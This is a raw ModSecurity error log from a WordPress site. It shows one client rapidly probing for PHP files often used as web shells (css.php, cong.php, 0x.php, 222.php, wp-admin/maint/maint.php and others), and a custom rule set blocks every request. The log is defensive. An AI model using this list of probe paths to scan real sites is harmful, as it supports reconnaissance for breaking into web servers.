[Fri Feb 27 21:40:01.750101 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32351] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaGescKBhrfI6KNv9Rj57wAAAAQ"]
[Fri Feb 27 21:40:02.188899 2026] [:error] [pid 52073:tid 52088] [client 20.104.124.39:32475] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGesoa650YPyxXVeRaCzAAAAYw"]
[Fri Feb 27 21:40:03.283576 2026] [:error] [pid 52073:tid 52092] [client 20.104.124.39:32407] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGes4a650YPyxXVeRaC1QAAAZA"]
[Fri Feb 27 21:40:04.190608 2026] [:error] [pid 62998:tid 63005] [client 20.104.124.39:32492] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGetFQeueXZDUmoLolj4QAAAQM"]
[Fri Feb 27 21:40:05.060080 2026] [:error] [pid 49306:tid 49317] [client 20.104.124.39:29962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGetfnSUDZue59Px9s5UgAAAUk"]
[Fri Feb 27 21:40:06.167077 2026] [:error] [pid 54103:tid 54190] [client 20.104.124.39:32500] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGetuvG4MPCmE0B2sC26gAAANM"]
[Fri Feb 27 21:40:07.059429 2026] [:error] [pid 49306:tid 49312] [client 20.104.124.39:32386] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGet_nSUDZue59Px9s5YgAAAUQ"]
[Fri Feb 27 21:40:07.775527 2026] [:error] [pid 49306:tid 49313] [client 20.104.124.39:32322] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGet_nSUDZue59Px9s5bwAAAUU"]
[Fri Feb 27 21:40:08.475323 2026] [:error] [pid 52073:tid 52089] [client 20.104.124.39:32479] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGeuIa650YPyxXVeRaC-QAAAY0"]
[Fri Feb 27 21:40:09.172725 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:29965] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaGeucKBhrfI6KNv9Rj6GwAAABM"]
[Fri Feb 27 21:40:09.976563 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32441] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGeuYa650YPyxXVeRaDCQAAAYg"]
[Fri Feb 27 21:40:10.596959 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:30009] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGeusKBhrfI6KNv9Rj6JwAAAAI"]
[Fri Feb 27 21:40:16.568298 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGewMKBhrfI6KNv9Rj6aAAAABY"]
[Fri Feb 27 21:40:17.876742 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32479] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGewcKBhrfI6KNv9Rj6fgAAAAg"]
[Fri Feb 27 21:40:18.918223 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32384] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGewsKBhrfI6KNv9Rj6igAAAAw"]
[Fri Feb 27 21:40:19.957479 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32452] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaGew4a650YPyxXVeRaDiQAAAZM"]
[Fri Feb 27 21:40:20.162074 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32349] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaGexMKBhrfI6KNv9Rj6kwAAAAM"]
[Fri Feb 27 21:40:21.477618 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:29966] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaGexYa650YPyxXVeRaDpAAAAYg"]
[Fri Feb 27 21:40:22.310089 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32364] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaGexoa650YPyxXVeRaDuwAAAZM"]
[Fri Feb 27 21:40:23.010379 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32458] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaGex4a650YPyxXVeRaDzwAAAZE"]
[Fri Feb 27 21:40:23.599209 2026] [:error] [pid 54103:tid 54189] [client 20.104.124.39:32502] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGex-vG4MPCmE0B2sC28QAAANI"]
[Fri Feb 27 21:40:24.500730 2026] [:error] [pid 62998:tid 63020] [client 20.104.124.39:32424] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGeyFQeueXZDUmoLolkEQAAARI"]
[Fri Feb 27 21:40:25.030830 2026] [:error] [pid 49306:tid 49330] [client 20.104.124.39:32444] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGeyfnSUDZue59Px9s5xgAAAVY"]
[Fri Feb 27 21:40:25.671630 2026] [:error] [pid 54103:tid 54195] [client 20.104.124.39:32447] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGeyevG4MPCmE0B2sC28wAAANg"]
[Fri Feb 27 21:40:26.352546 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:32468] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaGeyvnSUDZue59Px9s5ygAAAUY"]
[Fri Feb 27 21:40:27.029473 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:32338] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaGey4a650YPyxXVeRaEFQAAAYo"]
[Fri Feb 27 21:40:27.479327 2026] [:error] [pid 54231:tid 54251] [client 20.104.124.39:32464] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaGey-Tvb5AeyJCdY7AoHwAAAFE"]
[Fri Feb 27 21:40:28.006888 2026] [:error] [pid 54103:tid 54191] [client 20.104.124.39:32335] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaGezOvG4MPCmE0B2sC2_AAAANQ"]
[Fri Feb 27 21:40:28.471522 2026] [:error] [pid 54103:tid 54177] [client 20.104.124.39:32299] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaGezOvG4MPCmE0B2sC2_gAAAMY"]
[Fri Feb 27 21:40:29.131007 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32352] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaGezcKBhrfI6KNv9Rj6ywAAAAg"]
[Fri Feb 27 21:40:29.622560 2026] [:error] [pid 49306:tid 49317] [client 20.104.124.39:32496] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaGezfnSUDZue59Px9s52wAAAUk"]
[Fri Feb 27 21:40:30.365141 2026] [:error] [pid 54103:tid 54176] [client 20.104.124.39:32436] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaGezuvG4MPCmE0B2sC3BQAAAMU"]
[Fri Feb 27 21:40:30.938884 2026] [:error] [pid 54231:tid 54243] [client 20.104.124.39:32467] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGezuTvb5AeyJCdY7AoLgAAAEk"]
[Fri Feb 27 21:40:31.980752 2026] [:error] [pid 49306:tid 49309] [client 20.104.124.39:32326] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGez_nSUDZue59Px9s56AAAAUE"]
[Fri Feb 27 21:40:33.165023 2026] [:error] [pid 62998:tid 63014] [client 20.104.124.39:32329] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGe0VQeueXZDUmoLolkHwAAAQw"]
[Fri Feb 27 21:40:33.967240 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:32341] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaGe0cKBhrfI6KNv9Rj6-AAAABg"]
[Fri Feb 27 21:40:34.517518 2026] [:error] [pid 62998:tid 63020] [client 20.104.124.39:29983] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaGe0lQeueXZDUmoLolkIgAAARI"]
[Fri Feb 27 21:40:35.358508 2026] [:error] [pid 62998:tid 63005] [client 20.104.124.39:32333] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaGe01QeueXZDUmoLolkJAAAAQM"]
[Fri Feb 27 21:40:36.336947 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32383] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaGe1MKBhrfI6KNv9Rj7HgAAAAk"]
[Fri Feb 27 21:40:37.188523 2026] [:error] [pid 52073:tid 52098] [client 20.104.124.39:32371] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaGe1Ya650YPyxXVeRaEOgAAAZY"]
[Fri Feb 27 21:40:37.859277 2026] [:error] [pid 52073:tid 52081] [client 20.104.124.39:32376] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaGe1Ya650YPyxXVeRaERAAAAYU"]
[Fri Feb 27 21:40:38.380152 2026] [:error] [pid 54101:tid 54117] [client 20.104.124.39:32387] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaGe1lY5qgRktcYTGFtQFAAAAck"]
[Fri Feb 27 21:40:39.389982 2026] [:error] [pid 54102:tid 54164] [client 20.104.124.39:32420] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaGe13i74D4fiYUm_GeAwAAAAJQ"]
[Fri Feb 27 21:40:40.075792 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaGe2MKBhrfI6KNv9Rj7RgAAAA4"]
[Fri Feb 27 21:40:40.986152 2026] [:error] [pid 54102:tid 54144] [client 20.104.124.39:32306] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGe2Hi74D4fiYUm_GeAwgAAAIA"]
[Fri Feb 27 21:40:42.038668 2026] [:error] [pid 62998:tid 63002] [client 20.104.124.39:32328] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGe2lQeueXZDUmoLolkPQAAAQE"]
[Fri Feb 27 21:40:42.591549 2026] [:error] [pid 54231:tid 54239] [client 20.104.124.39:32369] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGe2uTvb5AeyJCdY7AoRwAAAEU"]
[Fri Feb 27 21:40:43.294053 2026] [:error] [pid 49306:tid 49311] [client 20.104.124.39:29976] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGe2_nSUDZue59Px9s6BwAAAUM"]
[Fri Feb 27 21:40:43.852003 2026] [:error] [pid 62998:tid 63020] [client 20.104.124.39:32365] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaGe21QeueXZDUmoLolkTAAAARI"]
[Fri Feb 27 21:40:44.305092 2026] [:error] [pid 54231:tid 54234] [client 20.104.124.39:29984] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaGe3OTvb5AeyJCdY7AoTwAAAEA"]
[Fri Feb 27 21:40:44.858043 2026] [:error] [pid 54102:tid 54169] [client 20.104.124.39:32373] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaGe3Hi74D4fiYUm_GeAxAAAAJg"]
[Fri Feb 27 21:40:45.304032 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:29993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaGe3Ya650YPyxXVeRaEagAAAYA"]
[Fri Feb 27 21:40:45.789660 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32327] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaGe3cKBhrfI6KNv9Rj7bwAAABY"]
[Fri Feb 27 21:40:46.365014 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:32374] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaGe3sKBhrfI6KNv9Rj7dgAAABM"]
[Fri Feb 27 21:40:47.059309 2026] [:error] [pid 62998:tid 63013] [client 20.104.124.39:32495] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaGe31QeueXZDUmoLolkaAAAAQs"]
[Fri Feb 27 21:40:47.741084 2026] [:error] [pid 49306:tid 49317] [client 20.104.124.39:29960] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaGe3_nSUDZue59Px9s6FAAAAUk"]
